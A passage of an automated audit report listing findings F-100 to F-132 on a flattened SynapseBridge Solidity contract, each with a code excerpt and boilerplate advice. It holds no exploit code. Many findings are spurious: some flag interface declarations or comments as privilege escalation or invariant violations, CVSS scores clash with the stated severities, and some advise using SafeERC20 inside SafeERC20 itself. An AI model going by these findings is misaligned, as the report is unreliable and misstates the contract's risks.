Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-100. state-change-without-event

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:1993 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

Vulnerable Code

```

1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
>> 1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-101. state-change-without-event

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:1998 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

Vulnerable Code

```

1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
>> 1998 |     function addKappas(bytes32[] calldata kappas) external {
1999 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2000 |         for (uint256 i = 0; i < kappas.length; ++i) {
2001 |             kappaMap[kappas[i]] = true;
2002 |         }
2003 |     }

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-102. state-change-without-event

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:2080 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

Vulnerable Code

```

2075 | /**
2076 |  * * @notice withdraw specified ERC20 token fees to a given address
2077 |  * * @param token ERC20 token in which fees accumulated to transfer
2078 |  * * @param to Address to send the fees to
2079 |  */
>> 2080 | function withdrawFees(IERC20 token, address to) external whenNotPaused {
2081 |     require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2082 |     require(to != address(0), "Address is 0x000");
2083 |     if (fees[address(token)] != 0) {
2084 |         token.safeTransfer(to, fees[address(token)]);
2085 |         fees[address(token)] = 0;

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-103. state-variable-could-be-immutable

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	26%
Location	SynapseBridge.flat.sol:1179 (unknown)
Status	Open (26% conf.)
Detected By	aderyn

Description

State variables that are only changed in the constructor should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor

Vulnerable Code

```

1174 |
1175 |     mapping (address => mapping (address => uint256)) private _allowances;
1176 |
1177 |     uint256 private _totalSupply;
1178 |
>> 1179 |     string private _name;
1180 |     string private _symbol;
1181 |     uint8 private _decimals;
1182 |
1183 |     /**
1184 |      * @dev Sets the values for {name} and {symbol}, initializes {decimals}
with
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-104. state-variable-could-be-immutable

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	26%
Location	SynapseBridge.flat.sol:1180 (unknown)
Status	Open (26% conf.)
Detected By	aderyn

Description

State variables that are only changed in the constructor should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor

Vulnerable Code

```

1175 | mapping (address => mapping (address => uint256)) private _allowances;
1176 |
1177 | uint256 private _totalSupply;
1178 |
1179 | string private _name;
>> 1180 | string private _symbol;
1181 | uint8 private _decimals;
1182 |
1183 | /**
1184 |  * @dev Sets the values for {name} and {symbol}, initializes {decimals}
with
1185 |  * a default value of 18.
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-105. state-variable-could-be-immutable

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	26%
Location	SynapseBridge.flat.sol:1181 (unknown)
Status	Open (26% conf.)
Detected By	aderyn

Description

State variables that are only changed in the constructor should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor

Vulnerable Code

```

1176 |
1177 |     uint256 private _totalSupply;
1178 |
1179 |     string private _name;
1180 |     string private _symbol;
>> 1181 |     uint8 private _decimals;
1182 |
1183 |     /**
1184 |      * @dev Sets the values for {name} and {symbol}, initializes {decimals}
with
1185 |      * a default value of 18.
1186 |      *

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-106. unsafe-erc20-operation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.6
Confidence	45%
Location	SynapseBridge.flat.sol:1554 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

Vulnerable Code

```

1549 | library SafeERC20 {
1550 |     using SafeMath for uint256;
1551 |     using Address for address;
1552 |
1553 |     function safeTransfer(IERC20 token, address to, uint256 value) internal {
>> 1554 |         _callOptionalReturn(token,
abi.encodeWithSelector(token.transfer.selector, to, value));
1555 |     }
1556 |
1557 |     function safeTransferFrom(IERC20 token, address from, address to, uint256
value) internal {
1558 |         _callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
1559 |     }

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Use OpenZeppelin's SafeERC20 library which handles non-standard ERC20 implementations (tokens that don't return bool on transfer).

References

- OWASP Smart Contract Top 10

F-107. unsafe-erc20-operation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.6
Confidence	45%
Location	SynapseBridge.flat.sol:1558 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

Vulnerable Code

```

1553 |     function safeTransfer(IERC20 token, address to, uint256 value) internal {
1554 |         _callOptionalReturn(token,
abi.encodeWithSelector(token.transfer.selector, to, value));
1555 |     }
1556 |
1557 |     function safeTransferFrom(IERC20 token, address from, address to, uint256
value) internal {
>> 1558 |         _callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
1559 |     }
1560 |
1561 |     /**
1562 |      * @dev Deprecated. This function has issues similar to the ones found in
1563 |      * {IERC20-approve}, and its usage is discouraged.

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Use OpenZeppelin's SafeERC20 library which handles non-standard ERC20 implementations (tokens that don't return bool on transfer).

References

- OWASP Smart Contract Top 10

F-108. unsafe-erc20-operation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.6
Confidence	45%
Location	SynapseBridge.flat.sol:1576 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

Vulnerable Code

```

1571 |          // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
1572 |          // solhint-disable-next-line max-line-length
1573 |          require((value == 0) || (token.allowance(address(this), spender) ==
0),
1574 |          "SafeERC20: approve from non-zero to non-zero allowance"
1575 |          );
>> 1576 |          _callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, value));
1577 |      }
1578 |
1579 |      function safeIncreaseAllowance(IERC20 token, address spender, uint256
value) internal {
1580 |          uint256 newAllowance = token.allowance(address(this),
spender).add(value);
1581 |          _callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance));

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Use OpenZeppelin's SafeERC20 library which handles non-standard ERC20 implementations (tokens that don't return bool on transfer).

References

- OWASP Smart Contract Top 10

F-109. unsafe-erc20-operation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.6
Confidence	45%
Location	SynapseBridge.flat.sol:1581 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

Vulnerable Code

```

1576 |         _callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, value));
1577 |     }
1578 |
1579 |     function safeIncreaseAllowance(IERC20 token, address spender, uint256
value) internal {
1580 |         uint256 newAllowance = token.allowance(address(this),
spender).add(value);
>> 1581 |         _callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
1582 |     }
1583 |
1584 |     function safeDecreaseAllowance(IERC20 token, address spender, uint256
value) internal {
1585 |         uint256 newAllowance = token.allowance(address(this),
spender).sub(value, "SafeERC20: decreased allowance below zero");
1586 |         _callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance));

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Use OpenZeppelin's SafeERC20 library which handles non-standard ERC20 implementations (tokens that don't return bool on transfer).

References

- OWASP Smart Contract Top 10

F-110. unsafe-erc20-operation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.6
Confidence	45%
Location	SynapseBridge.flat.sol:1586 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

Vulnerable Code

```

1581 |         _callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
1582 |     }
1583 |
1584 |     function safeDecreaseAllowance(IERC20 token, address spender, uint256
value) internal {
1585 |         uint256 newAllowance = token.allowance(address(this),
spender).sub(value, "SafeERC20: decreased allowance below zero");
>> 1586 |         _callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
1587 |     }
1588 |
1589 |     /**
1590 |      * @dev Imitates a Solidity high-level call (i.e. a regular function call
to a contract), relaxing the requirement
1591 |      * on the return value: the return value is optional (but if data is
returned, it must not be false).

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Use OpenZeppelin's SafeERC20 library which handles non-standard ERC20 implementations (tokens that don't return bool on transfer).

References

- OWASP Smart Contract Top 10

F-111. state_manipulation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1173
Status	Open (28% conf.)
Detected By	pakala

Description

Contract state can be manipulated through a sequence of transactions to reach an unintended state

Vulnerable Code

```

1168 | * allowances. See {IERC20-approve}.
1169 | */
1170 | contract ERC20 is Context, IERC20 {
1171 |     using SafeMath for uint256;
1172 |
>> 1173 |     mapping (address => uint256) private _balances;
1174 |
1175 |     mapping (address => mapping (address => uint256)) private _allowances;
1176 |
1177 |     uint256 private _totalSupply;
1178 |

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Implement state machine pattern with explicit valid transitions

References

- SWC-132
- OWASP Smart Contract Top 10

F-112. fund_extraction

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2156
Status	Open (28% conf.)
Detected By	pakala

Description

Funds can be extracted through a multi-step transaction sequence bypassing access controls

Vulnerable Code

```

2151 |         require(!kappaMap[kappa], "Kappa is already present");
2152 |         kappaMap[kappa] = true;
2153 |         fees[address(token)] = fees[address(token)].add(fee);
2154 |         if (address(token) == WETH_ADDRESS && WETH_ADDRESS != address(0)) {
2155 |             IWETH9(WETH_ADDRESS).withdraw(amount.sub(fee));
>> 2156 |             (bool success, ) = to.call{value: amount.sub(fee)}("");
2157 |             require(success, "ETH_TRANSFER_FAILED");
2158 |             emit TokenWithdraw(to, token, amount, fee, kappa);
2159 |         } else {
2160 |             emit TokenWithdraw(to, token, amount, fee, kappa);
2161 |             token.safeTransfer(to, amount.sub(fee));

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add withdrawal limits, timelocks, and multi-sig for large transfers

References

- SWC-105

- OWASP Smart Contract Top 10

F-113. `privilege_escalation_sequence`

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:430</code>
Status	Open (28% conf.)
Detected By	pakala

Description

Privilege can be escalated through a sequence of calls exploiting role transitions

Vulnerable Code

```

425 |      * @dev Add a value to a set. 0(1).
426 |      *
427 |      * Returns true if the value was added to the set, that is if it was not
428 |      * already present.
429 |      */
>> 430 |      function _add(Set storage set, bytes32 value) private returns (bool) {
431 |          if (!_contains(set, value)) {
432 |              set._values.push(value);
433 |              // The value is stored at length-1, but we add 1 to all indexes
434 |              // and use 0 as a sentinel value
435 |              set._indexes[value] = set._values.length;

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Implement role hierarchy with explicit checks at each transition

References

- SWC-105
- OWASP Smart Contract Top 10

F-114. cross_function_vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:765
Status	Open (28% conf.)
Detected By	pakala

Description

Vulnerability that spans multiple functions - one function modifies state that another depends on unsafely

Vulnerable Code

```
760 |  
761 |     function allowance(address, address) external view returns (uint256);  
762 |  
763 |     receive() external payable;  
764 |  
>> 765 |     function deposit() external payable;  
766 |  
767 |     function withdraw(uint256 wad) external;  
768 |  
769 |     function totalSupply() external view returns (uint256);  
770 |
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use mutex pattern or ensure atomic state updates across dependent functions

References

- SWC-107
- OWASP Smart Contract Top 10

F-115. invariant_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:683
Status	Open (28% conf.)
Detected By	scribble

Description

Contract invariant may be violated - state constraint not maintained across transactions

Vulnerable Code

```
678 | */
679 | interface IERC20 {
680 |     /**
681 |      * @dev Returns the amount of tokens in existence.
682 |      */
>> 683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
688 |     function balanceOf(address account) external view returns (uint256);
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add explicit invariant checks or use Scribble #invariant annotations

References

- OWASP Smart Contract Top 10

F-116. invariant_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:769
Status	Open (28% conf.)
Detected By	scribble

Description

Contract invariant may be violated - state constraint not maintained across transactions

Vulnerable Code

```
764 |  
765 |     function deposit() external payable;  
766 |  
767 |     function withdraw(uint256 wad) external;  
768 |  
>> 769 |     function totalSupply() external view returns (uint256);  
770 |  
771 |     function approve(address guy, uint256 wad) external returns (bool);  
772 |  
773 |     function transfer(address dst, uint256 wad) external returns (bool);  
774 |
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add explicit invariant checks or use Scribble #invariant annotations

References

- OWASP Smart Contract Top 10

F-117. invariant_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1177
Status	Open (28% conf.)
Detected By	scribble

Description

Contract invariant may be violated - state constraint not maintained across transactions

Vulnerable Code

```
1172 |  
1173 |     mapping (address => uint256) private _balances;  
1174 |  
1175 |     mapping (address => mapping (address => uint256)) private _allowances;  
1176 |  
>> 1177 |     uint256 private _totalSupply;  
1178 |  
1179 |     string private _name;  
1180 |     string private _symbol;  
1181 |     uint8 private _decimals;  
1182 |
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add explicit invariant checks or use Scribble #invariant annotations

References

- OWASP Smart Contract Top 10

F-118. invariant_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1231
Status	Open (28% conf.)
Detected By	scribble

Description

Contract invariant may be violated - state constraint not maintained across transactions

Vulnerable Code

```

1226 |     function decimals() public view virtual returns (uint8) {
1227 |         return _decimals;
1228 |     }
1229 |
1230 |     /**
>> 1231 |         * @dev See {IERC20-totalSupply}.
1232 |         */
1233 |     function totalSupply() public view virtual override returns (uint256) {
1234 |         return _totalSupply;
1235 |     }
1236 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add explicit invariant checks or use Scribble #invariant annotations

References

- OWASP Smart Contract Top 10

F-119. invariant_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1233
Status	Open (28% conf.)
Detected By	scribble

Description

Contract invariant may be violated - state constraint not maintained across transactions

Vulnerable Code

```
1228 |     }
1229 |
1230 |     /**
1231 |      * @dev See {IERC20-totalSupply}.
1232 |      */
>> 1233 |     function totalSupply() public view virtual override returns (uint256) {
1234 |         return _totalSupply;
1235 |     }
1236 |
1237 |     /**
1238 |      * @dev See {IERC20-balanceOf}.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add explicit invariant checks or use Scribble #invariant annotations

References

- OWASP Smart Contract Top 10

F-120. invariant_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1234
Status	Open (28% conf.)
Detected By	scribble

Description

Contract invariant may be violated - state constraint not maintained across transactions

Vulnerable Code

```
1229 |  
1230 | /**  
1231 |  * @dev See {IERC20-totalSupply}.  
1232 |  */  
1233 | function totalSupply() public view virtual override returns (uint256) {  
>> 1234 |     return _totalSupply;  
1235 | }  
1236 |  
1237 | /**  
1238 |  * @dev See {IERC20-balanceOf}.  
1239 |  */
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add explicit invariant checks or use Scribble #invariant annotations

References

- OWASP Smart Contract Top 10

F-121. invariant_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1370
Status	Open (28% conf.)
Detected By	scribble

Description

Contract invariant may be violated - state constraint not maintained across transactions

Vulnerable Code

```
1365 |     function _mint(address account, uint256 amount) internal virtual {
1366 |         require(account != address(0), "ERC20: mint to the zero address");
1367 |
1368 |         _beforeTokenTransfer(address(0), account, amount);
1369 |
>> 1370 |         _totalSupply = _totalSupply.add(amount);
1371 |         _balances[account] = _balances[account].add(amount);
1372 |         emit Transfer(address(0), account, amount);
1373 |     }
1374 |
1375 |     /**
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add explicit invariant checks or use Scribble #invariant annotations

References

- OWASP Smart Contract Top 10

F-122. invariant_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1392
Status	Open (28% conf.)
Detected By	scribble

Description

Contract invariant may be violated - state constraint not maintained across transactions

Vulnerable Code

```

1387 |         require(account != address(0), "ERC20: burn from the zero address");
1388 |
1389 |         _beforeTokenTransfer(account, address(0), amount);
1390 |
1391 |         _balances[account] = _balances[account].sub(amount, "ERC20: burn
amount exceeds balance");
>> 1392 |         _totalSupply = _totalSupply.sub(amount);
1393 |         emit Transfer(account, address(0), amount);
1394 |     }
1395 |
1396 |     /**
1397 |      * @dev Sets `amount` as the allowance of `spender` over the `owner` s
tokens.

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add explicit invariant checks or use Scribble #invariant annotations

References

- OWASP Smart Contract Top 10

F-123. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:697
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
692 | *
693 | * Returns a boolean value indicating whether the operation succeeded.
694 | *
695 | * Emits a {Transfer} event.
696 | */
>> 697 | function transfer(address recipient, uint256 amount) external returns
      | (bool);
698 |
699 | /**
700 | * @dev Returns the remaining number of tokens that `spender` will be
701 | * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 | * zero by default.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-124. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:722
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
717 |      * desired value afterwards:
718 |      * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
719 |      *
720 |      * Emits an {Approval} event.
721 |      */
>> 722 |      function approve(address spender, uint256 amount) external returns (bool);
723 |
724 |      /**
725 |      * @dev Moves `amount` tokens from `sender` to `recipient` using the
726 |      * allowance mechanism. `amount` is then deducted from the caller's
727 |      * allowance.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-125. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:733
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
728 | *
729 | * Returns a boolean value indicating whether the operation succeeded.
730 | *
731 | * Emits a {Transfer} event.
732 | */
>> 733 | function transferFrom(address sender, address recipient, uint256 amount)
external returns (bool);
734 |
735 | /**
736 | * @dev Emitted when `value` tokens are moved from one account (`from`) to
737 | * another (`to`).
738 | *
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-126. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:767
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```

762 |
763 |     receive() external payable;
764 |
765 |     function deposit() external payable;
766 |
>> 767 |     function withdraw(uint256 wad) external;
768 |
769 |     function totalSupply() external view returns (uint256);
770 |
771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-127. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:771
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
766 |  
767 |     function withdraw(uint256 wad) external;  
768 |  
769 |     function totalSupply() external view returns (uint256);  
770 |  
>> 771 |     function approve(address guy, uint256 wad) external returns (bool);  
772 |  
773 |     function transfer(address dst, uint256 wad) external returns (bool);  
774 |  
775 |     function transferFrom(  
776 |         address src,
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-128. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:773
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```

768 |
769 |     function totalSupply() external view returns (uint256);
770 |
771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |
>> 773 |     function transfer(address dst, uint256 wad) external returns (bool);
774 |
775 |     function transferFrom(
776 |         address src,
777 |         address dst,
778 |         uint256 wad

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-129. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1252
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
1247 |      * Requirements:
1248 |      *
1249 |      * - `recipient` cannot be the zero address.
1250 |      * - the caller must have a balance of at least `amount`.
1251 |      */
>> 1252 |      function transfer(address recipient, uint256 amount) public virtual
override returns (bool) {
1253 |          _transfer(_msgSender(), recipient, amount);
1254 |          return true;
1255 |      }
1256 |
1257 |      /**
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-130. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1271
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```
1266 |      *
1267 |      * Requirements:
1268 |      *
1269 |      * - `spender` cannot be the zero address.
1270 |      */
>> 1271 | function approve(address spender, uint256 amount) public virtual override
returns (bool) {
1272 |     _approve(_msgSender(), spender, amount);
1273 |     return true;
1274 | }
1275 |
1276 | /**
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-131. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1289
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```

1284 |      * - `sender` and `recipient` cannot be the zero address.
1285 |      * - `sender` must have a balance of at least `amount`.
1286 |      * - the caller must have allowance for ``sender``'s tokens of at least
1287 |      * `amount`.
1288 |      */
>> 1289 |      function transferFrom(address sender, address recipient, uint256 amount)
public virtual override returns (bool) {
1290 |          _transfer(sender, recipient, amount);
1291 |          _approve(sender, _msgSender(), _allowances[sender]
[_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
1292 |          return true;
1293 |      }
1294 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-132. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1307
Status	Open (28% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```

1302 |      *
1303 |      * Requirements:
1304 |      *
1305 |      * - `spender` cannot be the zero address.
1306 |      */
>> 1307 |      function increaseAllowance(address spender, uint256 addedValue) public
virtual returns (bool) {
1308 |          _approve(_msgSender(), spender, _allowances[_msgSender()]
[spender].add(addedValue));
1309 |          return true;
1310 |      }
